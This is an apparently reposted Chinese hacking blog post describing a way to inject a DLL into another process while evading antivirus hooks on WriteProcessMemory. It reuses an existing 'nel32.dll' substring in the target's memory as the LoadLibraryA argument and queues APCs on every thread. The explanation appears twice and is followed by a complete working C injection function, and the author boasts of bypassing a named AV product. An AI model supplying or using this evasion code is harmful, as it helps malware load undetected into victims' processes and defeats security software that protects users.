[VC] - 绕过主动防御的代码注入方法思考
2010-04-17 10:21
1061 查看
来源:http://www.520hack.com/Article/Text6/200810/11964.html
(百度快照2009-5-30)http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7643cd58a462e8d8448e435061e5a15a3fd7c734e53cea32b2d47ab545ce8f23c71351e23b490cc8e5dddccc86e70d633712d5cd04e05a51db8bf4332b12487299db81897ad803784dfd0c4a95544be58127af1e7fb5c1760b97881142694d6&p=9879d70685cc41fb07bd9b7f0f4d&user=baidu
目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。
关于代码注入Ring3层的方法主要有:
远程线程CreateRemoteThread
消息钩子SetWindowsHookEx
Ring3 APC QueueUserApc
修改线程上下文SetContextThread
其中第一种和第三种方法需要传入一个param,但是要求这个param必须在目标进程内存空间,之前的一些方法比较笨重,直接在目标进程 VirtualAllocEx内存,然后把希望的参数内容写入这个内存,使用了WriteProcessMemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。
仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用WriteProcessMemory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可!
思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~
举个例子:假设我是这样注入的:
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
我想让上面的param的内容是一个“xxx.dll”,就可以了,而且要求这个param是在目标进程内存空间
您想到了么?哈哈
答案:直接在目标进程搜索一个这样的字符串“nel32.dll”就可以啦!因为“kernel32.dll” 这样的字符串是一定存在的,那么为了和“kernel32.dll” 不一样,那就随便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目录下面撂进入一个 nel32.dll,这样注入大部分杀软都是不能拦截到的!哈哈!
写了段程序,做了个试验,仅测试了下趋势,完美绕过!其实杀软稍后测试。。。
(百度快照2009-5-30)http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7643cd58a462e8d8448e435061e5a15a3fd7c734e53cea32b2d47ab545ce8f23c71351e23b490cc8e5dddccc86e70d633712d5cd04e05a51db8bf4332b12487299db81897ad803784dfd0c4a95544be58127af1e7fb5c1760b97881142694d6&p=9879d70685cc41fb07bd9b7f0f4d&user=baidu
目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。
关于代码注入Ring3层的方法主要有:
远程线程CreateRemoteThread
消息钩子SetWindowsHookEx
Ring3 APC QueueUserApc
修改线程上下文SetContextThread
其中第一种和第三种方法需要传入一个param,但是要求这个param必须在目标进程内存空间,之前的一些方法比较笨重,直接在目标进程 VirtualAllocEx内存,然后把希望的参数内容写入这个内存,使用了WriteProcessMemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。
仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用WriteProcessMemory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可!
思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~
举个例子:假设我是这样注入的:
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
我想让上面的param的内容是一个“xxx.dll”,就可以了,而且要求这个param是在目标进程内存空间
您想到了么?哈哈
答案:直接在目标进程搜索一个这样的字符串“nel32.dll”就可以啦!因为“kernel32.dll” 这样的字符串是一定存在的,那么为了和“kernel32.dll” 不一样,那就随便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目录下面撂进入一个 nel32.dll,这样注入大部分杀软都是不能拦截到的!哈哈!
写了段程序,做了个试验,仅测试了下趋势,完美绕过!其实杀软稍后测试。。。
DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList) { TIDLIST *pCurrentTid = pThreadIdList; const char szInjectModName[] = "nel32.dll"; DWORD dwLen = strlen(szInjectModName); ////////////////////////////////////////////////////////////////////////// //不写目标进程的内存 //直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入 ////////////////////////////////////////////////////////////////////////// int bufflen=30000; char *buffer=(char *)malloc(sizeof(char)*bufflen); DWORD dwNumberOfBytesRead; DWORD defaultAddress; //获得该进程的基址 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID); if(!hSnapshot) { printf("CreateToolhelp32Snapshot error!\n"); return 0; } MODULEENTRY32 me = { sizeof(me) }; BOOL fOk = Module32First(hSnapshot,&me); if(!fOk) { printf("Module32First error!\n"); return 0; } for (; fOk; fOk = Module32Next(hSnapshot,&me)) { printf("%s process module name = %s\n",processName,me.szModule); // 取得进程模块基址 if(stricmp(me.szModule,processName)==0) { defaultAddress=(DWORD)me.modBaseAddr; printf("%s process module base = 0x%08X\n",processName,defaultAddress); break; } } //搜索 if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead)) { printf("ReadProcessMemory error!\n"); return 0; } for(int i = 0;i<bufflen-dwLen;i++) { if(strnicmp(buffer+i,szInjectModName,dwLen) == 0) { printf("found nel32.dll already!... %s\n",buffer+i); while (pCurrentTid) { HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid); if (hThread != NULL) { // 注入DLL到指定进程 QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)); } printf("TID:%d\n", pCurrentTid->dwTid); pCurrentTid = pCurrentTid->pNext; } break; } } return 0; }
相关文章推荐
- 主动防御的代码注入方法一点思考 (转载)
- vc++ 向其他进程注入代码的三种方法
- 绕过卡巴斯基主动防御系统方法的讨论
- vc++ 向其他进程注入代码的三种方法
- 绕过卡巴斯基主动防御系统方法的讨论
- 防止代码变质的思考与方法
- Discuz!uc.key泄露导致代码注入漏洞uc.php的解决方法
- vc mfc代码中获得程序资源中版本信息的方法
- 代码注入的三种方法
- 一种新型的绕过XSS防御的方法
- 软件:防止代码变质的思考与方法(转)
- 几种通用防注入程序绕过方法 |
- 代码注入的三种方法
- 不修改源代码,动态注入Java代码的方法
- 如何防范PowerShell代码注入漏洞绕过受限语言模式
- SQL 注入防御方法总结
- 代码注入的三种方法
- 利用Page基类过滤URL注入代码-防SQL注入的方法
- XML 注入的介绍与代码防御
- 向其他进程注入代码的三种方法(injectdll)